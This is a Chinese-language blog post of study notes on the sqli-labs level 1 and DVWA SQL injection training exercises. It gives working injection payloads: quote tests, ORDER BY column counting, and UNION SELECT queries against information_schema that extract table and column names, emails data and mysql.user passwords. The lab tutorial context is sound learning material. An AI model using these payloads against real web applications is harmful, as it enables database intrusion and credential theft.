sql_libs第一关

第一关通关笔记:2019/6/16

低等级详解的相关网站:https://www.jianshu.com/p/078df7a35671

http://www.storysec.com/dvwa-sql-injection.html

dvwa的闯关:https://www.freebuf.com/articles/web/120747.html

BP:https://blog.csdn.net/qq_36706878/article/details/79677078

一、判断是数值型还是字符型漏洞注入

输入:?id=1,id=1’(包含引号),如果后者报错,那么表明为字符型注入()

判断注入:

1  页面正常
1' 页面返回错误:报错:“......use near ''1''' at line 1...”
1' and '1'='1 页面正常
1' or '1'='2 页面错误

判断为字符型注入

?id=1’ and ‘1’=’2

 

二、手工注入

(末尾加上#号或者--%20(%20代表空格,由于某些浏览器可能会过滤掉了空格,所以用%20))

1、使用确定列数(字段)  (order by)

?id=1’ order by (+数字):

不断的去试数字,直到报错后,再利用二分法缩小范围去寻找最终的列数。

例如:在这里  10:error;那么接下来,5:error;再接下来:2:right;3:right;4:error;那么最终的列数将为3列。)

 

(缺少图片)

 

2、找出数据库名(database())

?id=-1‘ union select 1,2,3

看页面的显示结果(由于此页面只能显示一个数据,即当运行?id=1‘ union select 1,2,3时,她只能显示id=1的数据,而无法显示后面的数据,所以我们要将id=1变为id=-1,即id的数找不到为空,则将会显示后面的查询结果:union select 1,2,3

 

(缺少图片:your login:2,password:3)

 

即:2的结果显示在your login的位置上;3的结果显示在password上;那么将我们想要显示的放在2和3的位置上即可

使用database()函数找出数据库名称

?id=-1‘ union select 1,database(),3

(数据库名显示在2的位置上,即数据库名为:security)

 

3、找出对应的表:

使用information_schema.tables(输出表名信息):

information_schema   是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

(MySQL中表的相关信息:https://www.cnblogs.com/hfdp/p/5549384.html)

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema="security" --%20 (s输出单个表)

 

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --%20(输出所有表)

【也可使用:?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema="security"  limit 0,1 --%20(一个表一个表的输出,PS:limit后面不需要加括号)】

(函数group_concat的用法:https://hchmsguo.iteye.com/blog/555543

 

4、找出对应的列:

使用information_schema.columns输出字段信息:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" --%20(输出information_schema.column表中的column_name字段)

由上可以发现有很多的重复的id,即表示输出的是所有表的列,

若要查询emails表中的列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="emails" --%20

 

5、找出所需要的数据

例如:查找emails表中的数据;

?id=1’  union  select  1,group_concat ( id, email_id ) ,3  from  emails  --%20

(也可以使用:concat_ws(char(32,58,32),id,email_id)去代替group_concat ( id, email_id )效果相差不大,char(32,58,32)起到一个分割的作用,32代表空格,58代表冒号:,如果所有页面都显示的话,用concat_ws( ) 输出的比较明显,它会将每一条信息一个一个的输出,而 group_concat 会直接输出 )

 

以下为步骤为从dvwa之后的演练部分:

参照:http://www.storysec.com/dvwa-sql-injection.html(其中包括读文件和写入拿webshell)

6、猜root用户

1' union select 1,group_concat(user,password) from mysql.user#

注释:

mysql.user相关信息:https://blog.csdn.net/zmx729618/article/details/78026497/

 

2019/7/5

MySQL中常用SQL注入整理:http://www.111cn.net/database/mysql/58518.htm

1、SQL注入测试:

一般的注入语句为:

select * from table where id=1

因此可以利用以下判断测试:

1 页面正常
1' 页面返回报错:"...use near ''1''' at line 1..."
1' and '1'='1页面正常
1' and 1=1 页面错误
1' and 1=1# 页面正常

 由以上可以判断该错误是单引号字符型字符型错误。

在sqllib闯关时将会发先闭合方式有很多种,包括 ' id '、" id "、( ' id ' )、( " id " )等等,所以应该根据实际情况来定。

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值